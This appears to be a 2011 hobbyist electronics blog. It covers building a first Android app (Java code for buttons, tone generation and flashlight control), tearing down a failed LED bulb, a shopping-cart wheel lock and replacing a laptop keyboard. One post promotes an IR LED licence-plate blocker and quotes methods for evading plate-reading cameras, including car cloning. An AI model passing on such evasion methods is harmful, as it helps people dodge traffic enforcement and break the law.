Search This Blog

Saturday, December 31, 2011

Android app continued v: time, tones, and GUI

As stated in the previous couple of posts, I want to take advantage of the android phone/tablet platform to do a lot of the cool widgets I've build with Arduino, etc.   I've been making the first baby steps to creating an application and learning to interact with the phone hardware.   So far I've installed all the software, drivers, etc and successfully uploaded an app to my phone.  (see previous posts)  Then I upgraded my app to control the camera flash LED in response to a button press.  Now the goal is to learn about the Android system clock and what precise time keeping functions are available.  To do much useful with the Android I need to be able to perform functions like the Arduino delay() and pwm timers.  Once that is licked I can use the LED to send a serial stream of data which is my eventual goal.

I'm going to start with the app in my previous post and try to add timebase functions.  I'll put that on the scope and see how accurate it is.    I'll also try generating precise tones and measuring them.

Found this useful page on android system clock
http://developer.android.com/reference/android/os/SystemClock.html

This is a little trickier than it might seem, because I need to use a handler rather than tying up the phone 100% in a timing loop waiting for an event.  But for now we need to get a clock running.

http://stackoverflow.com/questions/526524/android-get-time-of-chronometer-widget
This page had an example of accessing a chronometer that I was able to integrate to make a time base
However I did not need all the functionality in this example.  just mChronometer.start, stop and setBase.   Added buttons to start, stop and clear the timer.    I get an output readout of ms, which is useful, but limits my maximum frequency to 1/2ms = 500Hz for a string of 101010 at this rate.  Boo,  Not good enough for most serial transmission applications.

Went off to try audio tone generation.  Found some examples of playing tones, this was the best, incorporated this code that used the audio sample rate to set a tone frequency
http://stackoverflow.com/questions/2413426/playing-an-arbitrary-tone-with-android
I thought this might lead me to a faster timebase to use, but it turns out this sets a sample rate on the audio player as the timebase, it doesn't use the system clock. I'll put this on the scope and see how accurate it is.

Having an annoying problem that the emulator sound doesn't play, but my phone's does!
Went to Run->configurations and added -useaudio in the command line options field.
Didn't work.  I'm not going to figure out this issue right now.  I'll have to use the real phone for development for the moment.   The computer audio is windows-fied.


Took a side trip and polished my app for a couple hours, working around making the image change when buttons were pressed so that I could learn to control what was on the screen and make GUIs.
http://developer.android.com/guide/topics/graphics/2d-graphics.html  was a good example.  Now I have a GUI with buttons, checkboxes, a picture that changes in response to button pushes, a timer, data entry, the camera LED turns on and off and a beep is played if a box is checked.  Basically a starting point for many apps.  I piled in every function I could think of.




Using an audio jack cable connected to the phone, I measured the frequency of the beep on the oscilloscope, it was about 1 / 2.3ms = 434.78Hz.   Probably was really the 440Hz that was programmed by private final double freqOfTone = 440; // hz.   I just couldn't measure it more accurately.

Next I set the frequency to 5000 Hz, knowing that the audio sample rate is 8000 Hz, so I am above Nyquist and the waveform is going to be distorted and aliased.  The frequency is wrong because of the aliasing.  Here is what it looked like:

I'll need to see if I can up the sample rate to 16000.  Wow, that sounds a lot better.  Much purer tone.  Here is 5Khz at 16KHz sample.
Now here is 5kHz at 32kHz sample rate.  Now we are in business.  This tone sounds pure and the amplitude isn't getting modulated by much as it beats against the sample frequency.


So where are we?   I'm up and comfortable with creating apps, having fun, although I'm sure I'd make a programmer cringe with my code.    The system clock is in milliseconds, and is too slow to be very useful for applications other than human interface.    The audio playback is pretty good up to 5kHz, I didn't push the audio sample rate up higher, but I imagine it won't go much past 44KHz (CD quality).    Next I'm going to have to dive deeper in the hardware to realize my goal of high frequency LED modulation.

Meanwhile I'll post my relevant code at the end of this post and perhaps look into joining the app store as a distribution method.  It is also posted here:
http://code.google.com/p/arduino-java-xyzcnc/downloads/detail?name=Siliconfish%20Blink.zip&can=2&q=#makechanges

Activity.java


package com.example.android.skeletonapp;

import android.app.Activity;
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioTrack;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.SystemClock;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.Chronometer;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import java.lang.reflect.Method;
import java.lang.Object;
import android.content.Context;
import android.util.Log;

/**
 * This class provides a basic demonstration of how to write an Android
 * activity. Inside of its window, it places a single view: an EditText that
 * displays and edits some internal text.
 */
public class SkeletonActivity extends Activity {
 
// sets up menu items for the pop up menu
    static final private int BACK_ID = Menu.FIRST;
    static final private int CLEAR_ID = Menu.FIRST + 1;
    static final private int BEEP_ID = Menu.FIRST + 2;
    static final private int NOFLASH_ID = Menu.FIRST + 3;

    // sets up the objects that are on the screen
    private EditText mEditor;
    private ImageView mImage;
    private TextView mTextView;
    private CheckBox mCheckBox;
    private EditText mFreq;
    Chronometer mChronometer;
 
    // name for the exception debug log
    private static final String TAG = "sifish.blink";
     
    // variables for tone generation
    private final int duration = 3; // seconds
    private final int sampleRate = 32000;
    private final int numSamples = duration * sampleRate;
    private double sample[] = new double[numSamples];
    private double infreqOfTone = 440.0; // hz
    private byte generatedSnd[] = new byte[2 * numSamples];
    Handler handler = new Handler();
 
    public SkeletonActivity() {
    }

    /** Called with the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Inflate our UI from its XML layout description.
        setContentView(R.layout.skeleton_activity);

        // Find the objects inside the screen layout xml, because we
        // want to do various programmatic things with them.
        mEditor = (EditText) findViewById(R.id.editor);
        mImage = (ImageView ) findViewById(R.id.imageView1);
        mChronometer = (Chronometer ) findViewById (R.id.chronometer1);
        mTextView = (TextView) findViewById (R.id.TextView1);
        mCheckBox = (CheckBox) findViewById (R.id.checkBox1);
        mFreq = (EditText) findViewById(R.id.editFreq);
 

        // Hook up button presses to the appropriate event handler.
        ((Button) findViewById(R.id.back)).setOnClickListener(mBackListener);
        ((Button) findViewById(R.id.clear)).setOnClickListener(mClearListener);
        ((Button) findViewById(R.id.flash)).setOnClickListener(mFlashListener);
        ((Button) findViewById(R.id.noflash)).setOnClickListener(mNoFlashListener);
     
        // Do initial setups
        mEditor.setText("Hello from Siliconfish!");
        mImage.setImageDrawable(getWallpaper());
        mFreq.setText(Double.toString(infreqOfTone));
     
        mChronometer.setBase(SystemClock.elapsedRealtime());
        mChronometer.stop();
        mTextView.setText(Long.toString(SystemClock.elapsedRealtime() - mChronometer.getBase()));
        genTone(infreqOfTone);  //make sure the tone exists
    }

    /**
     * Called when the activity is about to start interacting with the user.
     */
    @Override
    protected void onResume() {
        super.onResume();
    }

    /**
     * Called when your activity's options menu needs to be created.
     */
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        super.onCreateOptionsMenu(menu);

        // We are going to create two menus. Note that we assign them
        // unique integer IDs, labels from our string resources, and
        // given them shortcuts.
        menu.add(0, BACK_ID, 0, R.string.back).setShortcut('0', 'b');
        menu.add(0, CLEAR_ID, 0, R.string.clear).setShortcut('1', 'c');
        menu.add(0, BEEP_ID, 0, R.string.beep).setShortcut('2', 'b');
        menu.add(0, NOFLASH_ID, 0, R.string.noflash).setShortcut('3', 'x');

        return true;
    }

    /**
     * Called right before your activity's option menu is displayed.
     */
    @Override
    public boolean onPrepareOptionsMenu(Menu menu) {
        super.onPrepareOptionsMenu(menu);

        // Before showing the menu, we need to decide whether the clear
        // item is enabled depending on whether there is text to clear.
        menu.findItem(CLEAR_ID).setVisible(mEditor.getText().length() > 0);

        return true;
    }

    /**
     * Called when a menu item is selected.
     */
    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        switch (item.getItemId()) {
        case BACK_ID:
            finish();
            return true;
        case CLEAR_ID:
            mEditor.setText("");
            return true;
        case BEEP_ID:
            mEditor.setText("! BEEP !");
                     
         // Play a sound Use a new thread as this can take a while
            final Thread thread = new Thread(new Runnable() {
                public void run() {
                    genTone(infreqOfTone);
                    handler.post(new Runnable() {

                        public void run() {
                            playSound();
                        }
                    });
                }
            });
            thread.start();
         
         
            return true;
        case NOFLASH_ID:
            mEditor.setText("MENU - NO FLASH");
            setOn(false, null);
            return true;
        }

        return super.onOptionsItemSelected(item);
    }

    /**
     * A call-back for when the user presses the back button.
     */
    OnClickListener mBackListener = new OnClickListener() {
        public void onClick(View v) {
            finish();
        }
    };

    /**
     * A call-back for when the user presses the clear button.
     */
    OnClickListener mClearListener = new OnClickListener() {
        public void onClick(View v) {
        mEditor.setText("");
        mChronometer.setBase(SystemClock.elapsedRealtime());
        mImage.setImageDrawable(getWallpaper());
        mTextView.setText(Long.toString(SystemClock.elapsedRealtime() - mChronometer.getBase()));
        }
    };
 
    /**
     * A call-back for when the user presses the flash button.
     */
    OnClickListener mFlashListener = new OnClickListener() {
        public void onClick(View v) {
        setOn(true, null);
        mChronometer.start();
            mEditor.setText("*FLASH*");  
            mImage.setImageResource(R.drawable.scifiarmy_small);
            mTextView.setText(Long.toString(SystemClock.elapsedRealtime() - mChronometer.getBase()));
            if(mCheckBox.isChecked() ) {
            //get the value entered by the user
            try {
            infreqOfTone = Double.parseDouble(mFreq.getText().toString());
            } catch(NumberFormatException nfe) {
            infreqOfTone = 440.0;
            Log.e(TAG, "bad frequency input", nfe);
            }
            mEditor.setText(Double.toString(infreqOfTone));
           
        // Play a sound Use a new thread as this can take a while
           final Thread thread = new Thread(new Runnable() {
               public void run() {
                   genTone(infreqOfTone);
                   handler.post(new Runnable() {

                       public void run() {
                           try {
                        playSound();
                           }
                           catch (Exception e) {
                            Log.e(TAG, "playSound problem", e);
                         
                           }
                       }
                   });
               }
           });
         
           thread.start();
                     
         
            } //if checked
        }
    };
    /**
     * A call-back for when the user presses the no flash button.
     */
    OnClickListener mNoFlashListener = new OnClickListener() {
        public void onClick(View v) {
        setOn(false, null);
        mChronometer.stop();
            mEditor.setText("It is DARK");
            mImage.setImageResource(R.drawable.thorsmall);
            mTextView.setText(Long.toString(SystemClock.elapsedRealtime() - mChronometer.getBase()));
        }
    };
 
     
    // code largely copied from   http://www.java2s.com/Open-Source/Android/Tools/quick-settings/com/bwx/bequick/flashlight/Droid22Flashlight.java.htm
    // Controls the camera flash LED
 
    private Object mManager;

    public boolean isOn(Context context) {
        try {
            Object manager = getManager();
            if (manager != null) {
                Method getFlashlightEnabledMethod = manager.getClass()
                        .getMethod("getFlashlightEnabled");
                return (Boolean) getFlashlightEnabledMethod
                        .invoke(manager);
            }
        } catch (Exception e) {
            Log.e(TAG, "", e);
        }
        return false;
    }

    public void setOn(boolean on, Context context) {
        try {
            Object manager = getManager();
            if (manager != null) {
                Method setFlashlightEnabledMethod = manager.getClass()
                        .getMethod("setFlashlightEnabled",
                                boolean.class);
                setFlashlightEnabledMethod.invoke(manager, on);
            }
        } catch (Exception e) {
            Log.e(TAG, "", e);
        }
    }

    private Object getManager() {
        if (mManager == null) {
            try {
                Class<?> managerClass = Class
                        .forName("android.os.ServiceManager");
                Method methodGetService = managerClass.getMethod(
                        "getService", String.class);
                IBinder hardwareService = (IBinder) methodGetService
                        .invoke(managerClass, "hardware");

                Class<?> stubClass = Class
                        .forName("android.os.IHardwareService$Stub");
                Method asInterfaceMethod = stubClass.getMethod(
                        "asInterface", IBinder.class);
                mManager = asInterfaceMethod.invoke(stubClass,
                        hardwareService);
            } catch (Exception e) {
                Log.e(TAG, "", e);
            }
        }
        return mManager;
    }
   
    // http://stackoverflow.com/questions/2413426/playing-an-arbitrary-tone-with-android
    // functions for tone generation
    void genTone(double freqOfTone){
        // fill out the array
        for (int i = 0; i < numSamples; ++i) {
            sample[i] = Math.sin(2 * Math.PI * i / (sampleRate/freqOfTone));
        }

        // convert to 16 bit pcm sound array
        // assumes the sample buffer is normalised.
        int idx = 0;
        for (double dVal : sample) {
            // scale to maximum amplitude
            short val = (short) ((dVal * 32767));
            // in 16 bit wav PCM, first byte is the low order byte
            generatedSnd[idx++] = (byte) (val & 0x00ff);
            generatedSnd[idx++] = (byte) ((val & 0xff00) >>> 8);

        }
    }

    void playSound(){
        final AudioTrack audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC,
                sampleRate, AudioFormat.CHANNEL_CONFIGURATION_MONO,
                AudioFormat.ENCODING_PCM_16BIT, numSamples,
                AudioTrack.MODE_STATIC);
        audioTrack.write(generatedSnd, 0, generatedSnd.length);
        audioTrack.play();
    }
 
}

Thursday, December 29, 2011

Android application - A GUI turning on the flash

In this post the goal is to just to build a GUI with buttons that turn on and off the camera flash.  

The way I see it, there are generally two things for a hardware guy to do with an android platform.
  1. Use it as the human interface device to control something else.  Normally through USB, Bluetooth, 3G, etc.  Human pushes buttons, app sends commands to an Android.
  2. Use it as the brain for a micro controller like application, such as the portable computer for a robot.  Then use it's compute power, sensors, and network interface ability to talk to a remote user.
I'll be exploring the second type of application.  In that case I have to get the Android to talk to the outside world and control things.  It's ability to do that is somewhat limited.  It has a screen where it can display lights, patterns, etc.  It has a couple LEDs, most notably the camera flash LED.   There is a headphone jack that can be used to create waveforms up to maybe 20kHz, and finally a USB jack.   

What I'm eventually going to attempt to do is flash the LED in some sort of modulated fashion that an Arduino or other serial device can recognize and respond to.  I could use the USB port, but that requires a lot of code writing on the Arduino to decode.  Using only the LED I can send binary codes directly to the serial interface of the Arduino, with only a photo transistor for hardware.   I believe the phone may already have a light sensor because it dims the screen in response to ambient light, so communication could be two way.

Once I get the flash working, I will explore how precise the timing of the flashing can be, and what frequency I can modulate data onto it.   There are many other possibilities that I will share once I learn what the capabilities are.

First I want to use the camera flash LED, Some links I found

Stole code here, I pretty much copied out the setOn() functions verbatim and assigned them to my buttons
http://www.java2s.com/Open-Source/Android/Tools/quick-settings/com/bwx/bequick/flashlight/Droid22Flashlight.java.htm

This is the juicy bits, the rest is all the buttons and GUI that evolved from the skeleton app


// code largely copied from   http://www.java2s.com/Open-Source/Android/Tools/quick-settings/com/bwx/bequick/flashlight/Droid22Flashlight.java.htm
 
    private Object mManager;
    public boolean isOn(Context context) {
        try {
            Object manager = getManager();
            if (manager != null) {
                Method getFlashlightEnabledMethod = manager.getClass()
                        .getMethod("getFlashlightEnabled");
                return (Boolean) getFlashlightEnabledMethod
                        .invoke(manager);
            }
        } catch (Exception e) {
            Log.e(TAG, "", e);
        }
        return false;
    }
    public void setOn(boolean on, Context context) {
        try {
            Object manager = getManager();
            if (manager != null) {
                Method setFlashlightEnabledMethod = manager.getClass()
                        .getMethod("setFlashlightEnabled",
                                boolean.class);
                setFlashlightEnabledMethod.invoke(manager, on);
            }
        } catch (Exception e) {
            Log.e(TAG, "", e);
        }
    }
    private Object getManager() {
        if (mManager == null) {
            try {
                Class<?> managerClass = Class
                        .forName("android.os.ServiceManager");
                Method methodGetService = managerClass.getMethod(
                        "getService", String.class);
                IBinder hardwareService = (IBinder) methodGetService
                        .invoke(managerClass, "hardware");
                Class<?> stubClass = Class
                        .forName("android.os.IHardwareService$Stub");
                Method asInterfaceMethod = stubClass.getMethod(
                        "asInterface", IBinder.class);
                mManager = asInterfaceMethod.invoke(stubClass,
                        hardwareService);
            } catch (Exception e) {
                Log.e(TAG, "", e);
            }
        }
        return mManager;
    }






That almost worked right off but I got an error that I needed HARDWARE_TEST or FLASHLIGHT permission was needed.

Found an example of setting permissions here:
http://android.okhelp.cz/turn-screen-on-off-android-sample-code/

Later found that the manifest GUI knows the whole list of permissions, you just click on them.
I have to update the AndroidManifest.xml to add the uses-permission statements
I added HARDWARE_TEST, CAMERA and eventually FLASHLIGHT

Also found that the phone knows what permissions you asked for in the Settings->Applications menu.  Apparently when you load an app this way it doesn't ask if you want to grant permission.  It just takes it.

W00t!  Partial Success!  The flash button on my app now turns on the camera light!   I was missing the FLASHLIGHT permissions in my manifest.  Added an off button too and played around with the GUIs to clean things up.

At this point I have done all the basic GUI things and hardware fundamentals in only a few hours work!   Anyone could do this.  My code is a kluge of the highest order, but I've demonstrated making buttons, menus, displaying text responses, showing a gif, and making the hardware do something.  Awesome.

Here is the emulator running the app, taking a picture of the phone isn't worth the effort.   I showed that in my last post, and because my phone is my camera, it involves borrowing wifey's phone.    Too bad the emulator doesn't have the flashlight.   


Next step is to explore flashing the light like a strobe, and learning what timing sources are available!






Wednesday, December 28, 2011

Getting started developing apps on Android smartphones


The smartphone is microcontroller with a bunch of juicy built in hardware, so I should be able to replicate a lot of my Arduino projects on the Android platform.    The goal of this post is to make a "Hello World" on my actual phone in my actual hand.  From there I will move on to controlling hardware in later posts. This should serve as a good way to control and interact with the widgets I build.

The future is that we will all carry a device to interface to the world.  I'm going to have to get on board.    If I succeed maybe this will encourage other hardware heads to try writing apps.  Or this will sedate me into a coma in which case my blog will stop.

I have an Android phone, because I have one, and all the Android software is free and the market is open source.    My love is for electronics and hardware, not software, and I'm never going to go full hog as a software app developer.  It's just too boring.  Also, judging from the number of apps out there, it is hard to do something everyone else already hasn't done. However I have an idea for an app that I haven't seen anyone else do yet.  That may be because the hardware can't hack it.   I'll find out.   That is for later, for now, make the phone do something.  Anything.

I attempted this once before and crashed and burned with the versions I used and had lots of mysterious errors.   Here we go again, this time I'm not trying to outsmart the default installs.  The issue I had before is that books and web sites are out of date on the releases and the buttons they describe are never as they say they are.  It takes a bit of  translation and imagination to follow instructions.

Found the basics of what to do
http://www.talkandroid.com/guides/developer/android-sdk-install-guide/#.Tvn9ttRSTU8
Of course the android.com site had the same basic info
http://developer.android.com/sdk/installing.html

Side note ... found another development program I may try that may save some code writing.  Just noting it for later.  http://www.appinventorbeta.com/about/.  I didn't try it.

Download and install the developer software
As of 12/27/2011, these were the versions I used:

Decided to use Eclipse 64 bit, downloaded here:
http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/indigo/SR1/eclipse-java-indigo-SR1-win32-x86_64.zip
Downloaded, unzipped the files and clicked on "eclipse.exe", it complains it needs Java.

Downloaded Java SE 7u2 JDK here, Windows x64
http://www.oracle.com/technetwork/java/javase/downloads/jdk-7u2-download-1377129.html
clicked on the file and installed the development kit.
Started Eclipse again, no errors this time!

Downloaded the SDK here using the windows installer link
http://developer.android.com/sdk/index.html
It found Java and did the default install, SD manager popped up and I installed everything that looked relevant.
Making note of the install directory
C:\Program Files (x86)\Android\android-sdk

In order to install the Android development tools (ADT)
Started Eclipse -> Help -> Install Software,
Clicked on Available software sites link
Add this (from the instructions)
     https://dl-ssl.google.com/android/eclipse/
Click on it, close the sites list and wait for the list to load
check the box for "Developer Tools",  in the list (Expand and you see android) then Next
Restarted Eclipse as required




Next set up the launch configuration to say what device I'm emulating.  
I'm using a Motorola Droid2 global with the gingerbread 2.3.3 update, full specs are here:
480 x 854 pixels
Went  to the Window->AVD Manager and made a moto droid 2 target using the specs, filled out form an hit Create AVD
Shouldn't have put in an 8Gb SD card, that took forever to create.  Oh well.
In EclipseRun->Run Configurations Select Android Application from the list and press the cleverly disguised New button in the upper leftBrowse for your recently created projectEnter a name for the configuration.  I chose "moto droid2"Poked around on the Target tab , hit Run

Created project from "SkeletonApp" sample project
File->Create Project->Android Application
Then Run.  Boom.   Error.
"Your project contains errors"  R cannot be resolved to a variable.  
What is going on?
Found this
Wasn't the problem.  Looked some more.

I did everything on this page, and after the last one, my Hello Android project finally ran.  W00t!
I reordered the build path under Project Properties so that gen was above source.  Geez, that was the answer.


Ran the emulator and ran an app
Hit Run.  The emulator pops up, says Android for a while, and then eventually launches the sample app.  Whew.


I edited the java variables to change Hello to Siliconfish, renamed it Siliconfish App and ran it again.  Success.  If only a tiny one.   Here you see the text changed, and the application name is Siliconfish app on both the app and the menu screen.   I'm in business!







Get the Hardware set up to use the real phone


Now the next step is to upload it to the phone and prove I can write a app.  Back to some web surfing.

1) Set up the phone for development mode
http://stackoverflow.com/questions/2664425/how-to-test-my-app-on-my-phone-i-have-eclipse-w-android-plug-in  tells me:
 If you have eclipse with the Android plug-in, all you need to do is go into the settings of the phone (the actual phone in your hand), then applications, then development. Set the Debug mode to on. when you compile the app with eclipse I guess it looks for an actual phone first, if it detects it, then it loads the app on it. If no phone is detected and you have the ADV set up right it loads it there. Easy... 
When you select "run" from eclipse, and you have your droid plugged in, it should give you the option to select which device you want to execute the code on. Double clicking on your droid will automatically install and launch the app. You may need to enable the development settings within the Settings menu though for it to be recognized. To confirm that eclipse (really it's adb) can see your droid, launch a terminal or command prompt and type adb devices while the droid is connected. If it's listed there, you're good to go
Set up the phone for debug as it says, Still didn't work.  No sign that eclipse can see my phone plugged in via the usb cable.  I can see the phone's disk from the computer but maybe I have USB in the wrong mode. Figuring out that next.

2) Install the development USB driver on your Windows computer
More surfing...
http://developer.android.com/guide/developing/device.html
I think need to install the windows adb driver for my phone on my computer.  You need a special USB driver for developers.
http://developer.motorola.com/docstools/USB_Drivers/
Clicked on Handset USB Driver for Windows 64 bit, had to register and all that junk
Downloaded, installed  Motorola Mobile Drivers Installation 5.2.0
Rebooted

3) Verify that you can see the phone from the computer
Reading the http://developer.android.com/guide/developing/device.html site again, I got some more info on how to run "adb devices".
You can verify that your device is connected by executing adb devices from your SDK platform-tools/ directory. If connected, you'll see the device name listed as a "device."
Turns out you run this in a command window on the windows box, after you cd over to the directory where the android sdk is installed.  Ran it there.  Duh.   Here you see the command running for me.  

4) Set Eclipse to target the phone as an option
Looks like it sees the phone!  I can turn of the emulator and the other long number device stays.
However I still don't get the option to Run the program on the real device.  Turns out I had to go back to the Run->Configurations and set the target to "Manual" instead of automatic.  Now that the driver is installed I get the choice to run on the phone after I hit Run.

Here is the app running on my phone.  It was a pain to get these photos because I use my phone to take all the pictures in this blog.   So I won't be photographing the phone very much ;-).    You can see the app running with the mysterious "Siliconfish there, you Activity" message.


Here is the app showing up on the menu, in the middle right is "Siliconfish App".


I'll save publishing to the Android market until I have something that is worth sharing.  But here I have shown  how you can make an app for free and put it on your phone in about 6-8 hours of web surfing.  Granted I did not program anything, just changed a word or two in a sample program, but this is sure to impress your friends anyway.   It took me two tries, this was the second.  On the first I never got to the point of launching the emulator because I had so many mysterious errors due to bad versions and botched installations.  Just go with the defaults and you will be fine.

The next post goal will be to develop a "Blink" application that flashes a light on the phone.  Blink is the "Hello World" of the hardware engineer.







Monday, December 26, 2011

Shopping cart locking boots???



Today I was shopping at a grocery store I don't usually go to.  I parked at the far edge of the lot because I had to go to another store first.   When I came out I pushed my cart out to my car, and about 10 yards before I got to my car, I heard a clunk and one of the wheels of my cart wouldn't roll.  The cart was full of groceries and I had to pick up the front of the cart and drag it.  Pretty annoying.  I thought I got something stuck in it until I stopped and bent down to see what was wrong.

I discovered the cart actually had a locking boot!! It had activated because it decided I had taken the cart too far from home.   I looked around to see if there was a radio transmitter in the store or some sort of invisible fence. I saw one of those wire strips embedded in the surface of the road, like a traffic light sensor, running across the parking lot.   Would have been nice if they put it at the edge of the lot instead of halfway across the plaza.

The cart wheel looked about like this picture.




















I found several articles from people who had figured out how to defeat and or trick carts into locking.
Now I have absolutely no interest in stealing a shopping cart, or making other peoples carts lock.  I was just surprised that stores go to such lengths to annoy their customers.  I'm not going to bother building anything to mess with these things, I'm just gonna post some links on how they work and where people have hacked them.   At the very least I learned that it is possible to lift the cart over the metal strip and possibly prevent it from locking next time I go to this store.

Look at these for some fun and subversion:



Saturday, December 17, 2011

Scavenging LEDs from a bad investment













Posting this because I wanted to vent and slander these bulbs, and also because I was surprised by what I found.  This is a Lights of America 2025LEDE12-30K LED Bulb

I had purchased a 3 pack of these bulbs from Costco for $29, less than two years ago for my hall chandelier.  After a few months one burned out.   By today all three had died and I felt totally ripped off.   That is a lot to pay for light bulbs that were supposed to be green and save me money in the long run.   I assumed the LED driver circuits had blown, and not the LED's themselves.   If you read the reviews on Amazon, I'm not alone in my experience with these bulbs.  I found it really hard to find energy efficient chandelier bulbs, the LED bulbs are just not up to the job yet if you want any actual light output.  The CFLs chandelier bulbs are big and clunky, and have other aesthetic issues.   These had a blatantly misleading light output printed on the package.  No wonder Costco doesn't sell them anymore.

You can read the reviews here:


Being a hobbyist I couldn't bear to throw away what looks like cluster of perfectly good bright white LEDs.

So I busted open the bulb and clipped out a couple of the LEDs and tested them.












I hooked them up like any other LED, with the flat side as the cathode to ground and 200 ohms resistor to 5V.  My surprise was, that one LED of all I tested didn't work.   Whaaa?  You mean that took down this bulb?  Turns out yes.   But LEDs last forever?  Not if you burn them up they don't.

I busted open the base and was surprised again.  After thinking LED bulbs were high tech, and experimenting with high power LEDs for my infrared plate blocker, I had learned that the way to get the best performance out of these things is to drive them from a PWM current limiter IC with a feedback loop, so that they can be kept near their maximum power without burning out or wasting energy in current limiting resistors.   I was under the mistaken impression that these bulbs, costing near $10 apiece used that technology.  You can see these described   http://para.maxim-ic.com/en/results.mvp?fam=hbled

Here is what I found I had bought with this piece of junk.




You can see the four diodes of a simple bridge rectifier, with a big cap to filter the resulting DC.   The rest of the circuit is simply a christmas tree light string of 20 LEDs in series.  I measured a 3V forward bias across one of the LEDs.  So 20 * 3V = 60V.   Not coincidentally half the 120V AC supply.  This bulb is no more sophisticated than what a high school-er would design (ok maybe not every high schooler). www.ece.drexel.edu/courses/ECE-E352/lab2.doc is an example.

No wonder you can't dim an LED bulb like this.  As soon as the voltage falls, the Vf of the diodes is not met, and the whole series of bulbs turns off.  If any one of the LEDs burns out, the whole thing stops working.  There is no current protection or voltage control.   The line power is blasted into the forward bias voltage, and whatever current results, is what you get.    The bulb is rated at 1.5W.  I ran the LED at 5V with a 200 ohm resistor, and got 3V forward bias.  So (5V-3V)/200 ohms = 10mA.   10mA * 120V is 1.2W, so at least the power rating is believable.

Enough time wasted on this junk.   Hopefully other manufacturer use a more sophisticated design.  In the end I got 20 (actually 19 working) LEDs for $10 for my parts bin.

Found a whole website later on this topic :)
http://www.candlepowerforums.com/vb/showthread.php?220441-Don-t-buy-Lights-of-America-120V-LED-Bulbs

Sunday, November 20, 2011

Some more news on IR LED photo blocking


Saw an article in the Washington Post today that DC is using 38+ cameras around the region to read license plates.  They are building a database to be able to track the movements of cars around the region.  While this is great for catching stolen cars, it apparently caught a cheating wife who the husband had reported missing.
http://www.washingtonpost.com/local/license-plate-readers-a-useful-tool-for-police-comes-with-privacy-concerns/2011/11/18/gIQAuEApcN_story.html

This seemed like a perfect application for my IR LED speed camera blocker frame, because the article says that this technology uses and IR camera to read the plate.  
http://blog.workingsi.com/2011/05/ir-led-speedred-light-photo-blocker.html

I looked a little more and found a wikipedia on the subject no less.  I guess my idea is pretty common at this point :-(.    Plus it  looks like Texas even has a law against this sort of thing.  Be careful out there.

This is from Wikipedia http://en.wikipedia.org/wiki/Automatic_number_plate_recognition

Circumvention techniquesVehicle owners have used a variety of techniques in an attempt to evade ANPR systems and road-rule enforcement cameras in general. One method increases the reflective properties of the lettering and makes it more likely that the system will be unable to locate the plate or produce a high enough level of contrast to be able to read it. This is typically done by using a plate cover or a spray, though claims regarding the effectiveness of the latter are disputed. In most jurisdictions, the covers are illegal and covered under existing laws, while in most countries there is no law to disallow the use of the sprays.[14] Other users have attempted to smear their license plate with dirt or utilize covers to mask the plate.
Novelty frames around Texas license plates were made illegal in Texas on 1 September 2003 by Texas Senate Bill 439 because they caused problems with ANPR devices. That law made it a Class C misdemeanor (punishable by a fine of up to US $200), or Class B (punishable by a fine of up to US $2,000 and 180 days in jail) if it can be proven that the owner did it to deliberately obscure their plates.[15] The law was later clarified in 2007 to allow Novelty frames.
If an ANPR system cannot read the plate it can flag the image for attention, with the human operators looking to see if they are able to identify the alphanumerics.
In order to avoid surveillance or penalty charges, there has been an upsurge in car cloning. This is usually achieved by copying registration plates from another car of a similar model and age. This can be difficult to detect, especially as cloners may change the registration plates and travel behavior to hinder investigations.
Other possible options include IR emitting LEDs around the license plate which would serve to "blind" cameras.


Replacing a keyboard in an Acer 5741 laptop, liquid spill


We have an Acer Aspire 5741G-6983 laptop that I paid over $600 for 1.5 years ago.  It is a pretty good laptop with i5 processor and stand alone graphics.  My son spilled milk on the keyboard and several of the keys stopped working.   Nothing else is wrong, still works perfectly if you don't use words with those letters.  The laptop seems to be designed to contain liquids in the keyboard.   Applying alcohol didn't help.  I tried heating the laptop with a hair dryer and only succeeded in melting a key.   I used burn-in software to heat it up from the inside and let it bake for hours.  Nada.

I've been happy with Acer laptops, they offer a lot of performance for the money, and have held up to fairly rough usage by teenagers.  I'm not willing to trash this laptop yet.

I found a replacement keyboard on line and stupidly bought it without fully searching Amazon first.  Google shopping indicated that Amazon would be $65.  So when I found one for $25 + $10 shipping I pounced:
http://www.itec4less.com/Products/KB.I170A.056

Later on I was searching for some instructions, since it is not obvious how to pry open the laptop, and found it on Amazon for $20, free shipping.  Doh!  $15 wasted.



Before doing any research, I charged in trying to take it apart, removed all the screws from the bottom, under the covers, etc.  The keyboard is NOT coming out.   OK time to do some web surfing.

Making note of some links to places with some instructions.  

This site is pretty vague:

These don't seem to describe the right laptop

Found a service manual for this model...sweet!

This page from the manual says it all!


There are little "locks" along the top edge of the keyboard, and I didn't have to take the back off at all.  The keyboard is supposed to lift out, however it took some picking and prying to figure out that the whole black area comes up once the six or so tiny spring clips are pushed in.  Had to stick a thin screwdriver under the top edge of the keyboard to pry it up.   One ribbon connector and it's loose.  The black plastic strip along the ribbon connector needs to be pushed towards the ribbon and the ribbon comes right out.


Here is the laptop with the keyboard removed, and otherwise working just fine.  In closeup you can see all the milk residue even under the keyboard.  So i guess the keyboard has holes.

I feel really stupid right now.  Once you know how, the keyboard on these Acer laptops is very easy to replace.  I opened up the back, pried and pulled and worked it and had decided it couldn't be done.  If  I had done my research, i wouldn't have risked opening the back of laptop at all, since the keyboard pops of the front without hardly taking anything apart.

Now I wait for the new keyboard to come in the mail and see if I'm in business.  Hopefully all my needless dis-assembly didn't ruin anything.

New keyboard is here!


PUshed the ribbon cable into the connector and pushed the black clamp strip back up to hold it.  Snapped down the new keyboard.  And powered up.




W000T!  double w00t.   The laptop is as good as new.  The keyboard is clean and new and works perfectly.  Here it is working and with words i typed on the screen as proof.







Saturday, November 19, 2011

Buying Used DirecTV receivers from eBay

If you have Directv service, and don't mind standard definition, life is good for you too.
